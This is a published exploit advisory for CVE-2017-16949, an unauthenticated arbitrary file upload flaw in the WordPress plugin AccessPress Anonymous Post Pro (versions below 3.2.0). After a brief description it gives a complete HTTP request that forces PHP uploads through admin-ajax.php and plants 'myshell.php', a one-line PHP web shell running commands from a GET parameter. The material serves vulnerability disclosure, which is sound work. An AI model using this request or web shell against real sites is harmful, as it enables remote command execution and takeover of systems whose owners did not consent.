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# Exploit Title: Unauthenticated Arbitrary File Upload # Date: November 12, 2017 # Exploit Author: Colette Chamberland # Author contact: colette@defiant.com # Author homepage: https://defiant.com # Vendor Homepage: https://accesspressthemes.com/ # Software Link: https://codecanyon.net/item/accesspress-anonymous-post-pro/9160446 # Version:< 3.2.0 # Tested on: WordPress 4.x # CVE : CVE-2017-16949 Description: Improper sanitization allows the attacker to override the settings for allowed file extensions and upload file size. This allows the attacker to upload anything they want, bypassing the filters. PoC: POST /wp-admin/admin-ajax.php?action=ap_file_upload_action&file_uploader_nonce=[nonce]&allowedExtensions[]=php&sizeLimit=64000 HTTP/1.1 Host:server User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------7230359611602921801124357792 Content-Length: 264 Referer: http://target.com/ Cookie: PHPSESSID=22cj9s25f72jr376ln2a3oj6h6; Connection: close Upgrade-Insecure-Requests: 1 -----------------------------7230359611602921801124357792 Content-Disposition: form-data; name="qqfile"; filename="myshell.php" Content-Type: text/php <?php echo shell_exec($_GET['e'].' 2>&1'); ?> -----------------------------7230359611602921801124357792-- |
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